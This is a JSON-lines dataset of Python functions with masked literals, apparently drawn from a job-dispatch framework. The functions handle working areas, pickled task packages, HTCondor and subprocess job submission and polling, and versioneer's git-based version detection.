{"signature": "def _expand_tuple(path_cfg, alias_dict, overriding_kargs):", "body": "<EOL>new_path_cfg = path_cfg[<NUM_LIT:0>]<EOL>new_overriding_kargs = path_cfg[<NUM_LIT:1>].copy()<EOL>new_overriding_kargs.update(overriding_kargs)<EOL>return expand_path_cfg(<EOL>new_path_cfg,<EOL>overriding_kargs=new_overriding_kargs,<EOL>alias_dict=alias_dict<EOL>)<EOL>", "docstring": "expand a path config given as a tuple", "id": "f9023:m4"}
{"signature": "def open(self):", "body": "self.path = self._prepare_dir(self.topdir)<EOL>self._copy_executable(area_path=self.path)<EOL>self._save_logging_levels(area_path=self.path)<EOL>self._put_python_modules(modules=self.python_modules, area_path=self.path)<EOL>", "docstring": "Open the working area\n\n        Returns\n        -------\n        None", "id": "f9046:c0:m2"}
{"signature": "def close(self):", "body": "self.path = None<EOL>", "docstring": "Close the working area\n\n        Returns\n        -------\n        None", "id": "f9046:c0:m7"}
{"signature": "def put_package(self, package):", "body": "self.last_package_index += <NUM_LIT:1><EOL>package_index = self.last_package_index<EOL>package_fullpath = self.package_fullpath(package_index)<EOL>with gzip.open(package_fullpath, '<STR_LIT:wb>') as f:<EOL><INDENT>pickle.dump(package, f, protocol=pickle.HIGHEST_PROTOCOL)<EOL>f.close()<EOL><DEDENT>result_fullpath = self.result_fullpath(package_index)<EOL>result_dir = os.path.dirname(result_fullpath)<EOL>alphatwirl.mkdir_p(result_dir)<EOL>return package_index<EOL>", "docstring": "Put a package\n\n        Parameters\n        ----------\n        package :\n            a task package\n\n        Returns\n        -------\n        int\n            A package index", "id": "f9046:c0:m8"}
{"signature": "def collect_result(self, package_index):", "body": "result_fullpath = self.result_fullpath(package_index)<EOL>try:<EOL><INDENT>with gzip.open(result_fullpath, '<STR_LIT:rb>') as f:<EOL><INDENT>result = pickle.load(f)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning(e)<EOL>return None<EOL><DEDENT>return result<EOL>", "docstring": "Collect the result of a task\n\n        Parameters\n        ----------\n        package_index :\n            a package index\n\n        Returns\n        -------\n        obj\n            The result of the task", "id": "f9046:c0:m9"}
{"signature": "def package_relpath(self, package_index):", "body": "ret = '<STR_LIT>'.format(package_index)<EOL>return ret<EOL>", "docstring": "Returns the relative path of the package\n\n        This method returns the path to the package relative to the\n        top dir of the working area. This method simply constructs the\n        path based on the convention and doesn't check if the package\n        actually exists.\n\n        Parameters\n        ----------\n        package_index :\n            a package index\n\n        Returns\n        -------\n        str\n            the relative path to the package", "id": "f9046:c0:m10"}
{"signature": "def package_fullpath(self, package_index):", "body": "ret = os.path.join(self.path, self.package_relpath(package_index))<EOL>return ret<EOL>", "docstring": "Returns the full path of the package\n\n        This method returns the full path to the package. This method\n        simply constructs the path based on the convention and doesn't\n        check if the package actually exists.\n\n        Parameters\n        ----------\n        package_index :\n            a package index\n\n        Returns\n        -------\n        str\n            the full path to the package", "id": "f9046:c0:m12"}
{"signature": "def result_relpath(self, package_index):", "body": "dirname = '<STR_LIT>'.format(package_index)<EOL>ret = os.path.join('<STR_LIT>', dirname, '<STR_LIT>')<EOL>return ret<EOL>", "docstring": "Returns the relative path of the result\n\n        This method returns the path to the result relative to the\n        top dir of the working area. This method simply constructs the\n        path based on the convention and doesn't check if the result\n        actually exists.\n\n        Parameters\n        ----------\n        package_index :\n            a package index\n\n        Returns\n        -------\n        str\n            the relative path to the result", "id": "f9046:c0:m13"}
{"signature": "def result_fullpath(self, package_index):", "body": "ret = os.path.join(self.path, self.result_relpath(package_index))<EOL>return ret<EOL>", "docstring": "Returns the full path of the result\n\n        This method returns the full path to the result. This method\n        simply constructs the path based on the convention and doesn't\n        check if the result actually exists.\n\n        Parameters\n        ----------\n        package_index :\n            a package index\n\n        Returns\n        -------\n        str\n            the full path to the result", "id": "f9046:c0:m14"}
{"signature": "def run(self, workingArea, package_index):", "body": "return self.run_multiple(workingArea, [package_index])[<NUM_LIT:0>]<EOL>", "docstring": "Submit a job\n\n        If you need to submit multiple jobs, it is usually much faster\n        to use `run_multiple()` than to use this method multiple\n        times.\n\n        Parameters\n        ----------\n        workingArea :\n            A workingArea\n        package_index : int\n            A package index\n\n        Returns\n        -------\n        str\n            The run ID of the job", "id": "f9050:c0:m1"}
{"signature": "def run_multiple(self, workingArea, package_indices):", "body": "if not package_indices:<EOL><INDENT>return [ ]<EOL><DEDENT>job_desc = self._compose_job_desc(workingArea, package_indices)<EOL>clusterprocids = submit_jobs(job_desc, cwd=workingArea.path)<EOL>clusterids = clusterprocids2clusterids(clusterprocids)<EOL>for clusterid in clusterids:<EOL><INDENT>change_job_priority([clusterid], <NUM_LIT:10>)<EOL><DEDENT>self.clusterprocids_outstanding.extend(clusterprocids)<EOL>return clusterprocids<EOL>", "docstring": "Submit multiple jobs\n\n        Parameters\n        ----------\n        workingArea :\n            A workingArea\n        package_indices : list(int)\n            A list of package indices\n\n        Returns\n        -------\n        list(str)\n            The list of the run IDs of the jobs", "id": "f9050:c0:m2"}
{"signature": "def poll(self):", "body": "clusterids = clusterprocids2clusterids(self.clusterprocids_outstanding)<EOL>clusterprocid_status_list = query_status_for(clusterids)<EOL>if clusterprocid_status_list:<EOL><INDENT>clusterprocids, statuses = zip(*clusterprocid_status_list)<EOL><DEDENT>else:<EOL><INDENT>clusterprocids, statuses = (), ()<EOL><DEDENT>clusterprocids_finished = [i for i in self.clusterprocids_outstanding if i not in clusterprocids]<EOL>self.clusterprocids_finished.extend(clusterprocids_finished)<EOL>self.clusterprocids_outstanding[:] = clusterprocids<EOL>counter = collections.Counter(statuses)<EOL>messages = [ ]<EOL>if counter:<EOL><INDENT>messages.append('<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>'.format(HTCONDOR_JOBSTATUS[k], counter[k]) for k in counter.keys()]))<EOL><DEDENT>if self.clusterprocids_finished:<EOL><INDENT>messages.append('<STR_LIT>'.format(len(self.clusterprocids_finished)))<EOL><DEDENT>logger = logging.getLogger(__name__)<EOL>logger.info('<STR_LIT:U+002CU+0020>'.join(messages))<EOL>return clusterprocids_finished<EOL>", "docstring": "Return the run IDs of the finished jobs\n\n        Returns\n        -------\n        list(str)\n            The list of the run IDs of the finished jobs", "id": "f9050:c0:m4"}
{"signature": "def wait(self):", "body": "sleep = <NUM_LIT:5><EOL>while True:<EOL><INDENT>if self.clusterprocids_outstanding:<EOL><INDENT>self.poll()<EOL><DEDENT>if not self.clusterprocids_outstanding:<EOL><INDENT>break<EOL><DEDENT>time.sleep(sleep)<EOL><DEDENT>return self.clusterprocids_finished<EOL>", "docstring": "Wait until all jobs finish and return the run IDs of the finished jobs\n\n        Returns\n        -------\n        list(str)\n            The list of the run IDs of the finished jobs", "id": "f9050:c0:m5"}
{"signature": "def failed_runids(self, runids):", "body": "<EOL>for i in runids:<EOL><INDENT>try:<EOL><INDENT>self.clusterprocids_finished.remove(i)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Provide the run IDs of failed jobs\n\n\n        Returns\n        -------\n        None", "id": "f9050:c0:m6"}
{"signature": "def terminate(self):", "body": "clusterids = clusterprocids2clusterids(self.clusterprocids_outstanding)<EOL>terminate_jobs(clusterids)<EOL>", "docstring": "Terminate\n\n\n        Returns\n        -------\n        None", "id": "f9050:c0:m7"}
{"signature": "def open(self):", "body": "self.workingArea.open()<EOL>self.runid_pkgidx_map = { }<EOL>self.runid_to_return = deque()<EOL>", "docstring": "open the drop box\n\n        You need to call this method before starting putting packages.\n\n        Returns\n        -------\n        None", "id": "f9052:c0:m2"}
{"signature": "def terminate(self):", "body": "self.dispatcher.terminate()<EOL>", "docstring": "terminate the drop box\n\n        Returns\n        -------\n        None", "id": "f9052:c0:m3"}
{"signature": "def close(self):", "body": "self.workingArea.close()<EOL>", "docstring": "close the drop box\n\n        Returns\n        -------\n        None", "id": "f9052:c0:m4"}
{"signature": "def put(self, package):", "body": "pkgidx = self.workingArea.put_package(package)<EOL>logger = logging.getLogger(__name__)<EOL>logger.info('<STR_LIT>'.format(self.workingArea.package_relpath(pkgidx)))<EOL>runid = self.dispatcher.run(self.workingArea, pkgidx)<EOL>self.runid_pkgidx_map[runid] = pkgidx<EOL>return pkgidx<EOL>", "docstring": "put a task\n\n        This method places a task in the working area and have the\n        dispatcher execute it.\n\n        If you need to put multiple tasks, it can be much faster to\n        use `put_multiple()` than to use this method multiple times\n        depending of the dispatcher.\n\n        Parameters\n        ----------\n        package : callable\n            A task\n\n        Returns\n        -------\n        int\n            A package index assigned by the working area", "id": "f9052:c0:m5"}
{"signature": "def put_multiple(self, packages):", "body": "pkgidxs = [self.workingArea.put_package(p) for p in packages]<EOL>logger = logging.getLogger(__name__)<EOL>logger.info('<STR_LIT>'.format(<EOL>'<STR_LIT:U+002CU+0020>'.join(['<STR_LIT:{}>'.format(self.workingArea.package_relpath(i)) for i in pkgidxs])<EOL>))<EOL>runids = self.dispatcher.run_multiple(self.workingArea, pkgidxs)<EOL>self.runid_pkgidx_map.update(zip(runids, pkgidxs))<EOL>return pkgidxs<EOL>", "docstring": "put tasks\n\n        This method places multiple tasks in the working area and have\n        the dispatcher execute them.\n\n        Parameters\n        ----------\n        packages : list(callable)\n            A list of tasks\n\n        Returns\n        -------\n        list(int)\n            Package indices assigned by the working area", "id": "f9052:c0:m6"}
{"signature": "def receive(self):", "body": "ret = [ ] <EOL>while True:<EOL><INDENT>if self.runid_pkgidx_map:<EOL><INDENT>self.runid_to_return.extend(self.dispatcher.poll())<EOL>ret.extend(self._collect_all_finished_pkgidx_result_pairs())<EOL><DEDENT>if not self.runid_pkgidx_map:<EOL><INDENT>break<EOL><DEDENT>time.sleep(self.sleep)<EOL><DEDENT>ret = sorted(ret, key=itemgetter(<NUM_LIT:0>))<EOL>return ret<EOL>", "docstring": "return pairs of package indices and results of all tasks\n\n        This method waits until all tasks finish.\n\n        Returns\n        -------\n        list\n            A list of pairs of package indices and results", "id": "f9052:c0:m7"}
{"signature": "def poll(self):", "body": "self.runid_to_return.extend(self.dispatcher.poll())<EOL>ret = self._collect_all_finished_pkgidx_result_pairs()<EOL>return ret<EOL>", "docstring": "return pairs of package indices and results of finished tasks\n\n        This method does not wait for tasks to finish.\n\n        Returns\n        -------\n        list\n            A list of pairs of package indices and results", "id": "f9052:c0:m8"}
{"signature": "def receive_one(self):", "body": "if not self.runid_pkgidx_map:<EOL><INDENT>return None<EOL><DEDENT>while True:<EOL><INDENT>if not self.runid_to_return:<EOL><INDENT>self.runid_to_return.extend(self.dispatcher.poll())<EOL><DEDENT>ret = self._collect_next_finished_pkgidx_result_pair()<EOL>if ret is not None:<EOL><INDENT>break<EOL><DEDENT>if self.runid_pkgidx_map:<EOL><INDENT>time.sleep(self.sleep)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "return a pair of a package index and result of a task\n\n        This method waits until a tasks finishes. It returns `None` if\n        no task is running.\n\n        Returns\n        -------\n        tuple or None\n            A pair of a package index and result. `None` if no tasks\n            is running.", "id": "f9052:c0:m9"}
{"signature": "def begin(self):", "body": "if self.isopen: return<EOL>self.dropbox.open()<EOL>self.isopen = True<EOL>", "docstring": "begin", "id": "f9057:c1:m2"}
{"signature": "def put(self, task, *args, **kwargs):", "body": "if not self.isopen:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning('<STR_LIT>')<EOL>return<EOL><DEDENT>package = TaskPackage(task=task, args=args, kwargs=kwargs)<EOL>return self.dropbox.put(package)<EOL>", "docstring": "put a task and its arguments\n\n        If you need to put multiple tasks, it can be faster to put\n        multiple tasks with `put_multiple()` than to use this method\n        multiple times.\n\n        Parameters\n        ----------\n        task : a function\n            A function to be executed\n        args : list\n            A list of positional arguments to the `task`\n        kwargs : dict\n            A dict with keyword arguments to the `task`\n\n        Returns\n        -------\n        int, str, or any hashable and sortable\n            A task ID. IDs are sortable in the order in which the\n            corresponding tasks are put.", "id": "f9057:c1:m3"}
{"signature": "def put_multiple(self, task_args_kwargs_list):", "body": "if not self.isopen:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning('<STR_LIT>')<EOL>return<EOL><DEDENT>packages = [ ]<EOL>for t in task_args_kwargs_list:<EOL><INDENT>try:<EOL><INDENT>task = t['<STR_LIT>']<EOL>args = t.get('<STR_LIT:args>', ())<EOL>kwargs = t.get('<STR_LIT>', {})<EOL>package = TaskPackage(task=task, args=args, kwargs=kwargs)<EOL><DEDENT>except TypeError:<EOL><INDENT>package = TaskPackage(task=t, args=(), kwargs={})<EOL><DEDENT>packages.append(package)<EOL><DEDENT>return self.dropbox.put_multiple(packages)<EOL>", "docstring": "put a list of tasks and their arguments\n\n        This method can be used to put multiple tasks at once. Calling\n        this method once with multiple tasks can be much faster than\n        calling `put()` multiple times.\n\n        Parameters\n        ----------\n        task_args_kwargs_list : list\n\n            A list of lists with three items that can be parameters of\n            `put()`, i.e., `task`, `args`, `kwargs`.\n\n        Returns\n        -------\n        list\n            A list of task IDs.", "id": "f9057:c1:m4"}
{"signature": "def receive_finished(self):", "body": "if not self.isopen:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning('<STR_LIT>')<EOL>return<EOL><DEDENT>return self.dropbox.poll()<EOL>", "docstring": "return a list of pairs of IDs and results of finished tasks.\n\n        This method doesn't wait for tasks to finish. It returns IDs\n        and results which have already finished.\n\n        Returns\n        -------\n        list\n            A list of pairs of IDs and results", "id": "f9057:c1:m5"}
{"signature": "def receive_one(self):", "body": "if not self.isopen:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning('<STR_LIT>')<EOL>return<EOL><DEDENT>return self.dropbox.receive_one()<EOL>", "docstring": "return a pair of an ID and a result of a task.\n\n        This method waits for a task to finish.\n\n        Returns\n        -------\n        An ID and a result of a task. `None` if no task is running.", "id": "f9057:c1:m6"}
{"signature": "def receive_all(self):", "body": "if not self.isopen:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning('<STR_LIT>')<EOL>return<EOL><DEDENT>return self.dropbox.receive()<EOL>", "docstring": "return a list of pairs of IDs and results of all tasks.\n\n        This method waits for all tasks to finish.\n\n        Returns\n        -------\n        list\n            A list of pairs of IDs and results", "id": "f9057:c1:m7"}
{"signature": "def receive(self):", "body": "pkgidx_result_pairs = self.receive_all()<EOL>if pkgidx_result_pairs is None:<EOL><INDENT>return<EOL><DEDENT>results = [r for _, r in pkgidx_result_pairs]<EOL>return results<EOL>", "docstring": "return a list results of all tasks.\n\n        This method waits for all tasks to finish.\n\n        Returns\n        -------\n        list\n            A list of results of the tasks. The results are sorted in\n            the order in which the tasks are put.", "id": "f9057:c1:m8"}
{"signature": "def terminate(self):", "body": "self.dropbox.terminate()<EOL>", "docstring": "terminate", "id": "f9057:c1:m9"}
{"signature": "def end(self):", "body": "if not self.isopen: return<EOL>self.dropbox.close()<EOL>self.isopen = False<EOL>", "docstring": "end", "id": "f9057:c1:m10"}
{"signature": "def poll(self):", "body": "finished_procs = [p for p in self.running_procs if p.poll() is not None]<EOL>self.running_procs = collections.deque([p for p in self.running_procs if p not in finished_procs])<EOL>for proc in finished_procs:<EOL><INDENT>stdout, stderr = proc.communicate()<EOL><DEDENT>finished_pids = [p.pid for p in finished_procs]<EOL>self.finished_pids.extend(finished_pids)<EOL>logger = logging.getLogger(__name__)<EOL>messages = '<STR_LIT>'.format(len(self.running_procs), len(self.finished_pids))<EOL>logger.info(messages)<EOL>return finished_pids<EOL>", "docstring": "check if the jobs are running and return a list of pids for\n        finished jobs", "id": "f9059:c0:m4"}
{"signature": "def wait(self):", "body": "finished_pids = [ ]<EOL>while self.running_procs:<EOL><INDENT>finished_pids.extend(self.poll())<EOL><DEDENT>return finished_pids<EOL>", "docstring": "wait until all jobs finish and return a list of pids", "id": "f9059:c0:m5"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f9060:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT:v>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f9060:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f9060:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f9060:m3"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f9060:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f9060:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f9060:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f9060:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f9060:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f9060:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f9060:m10"}
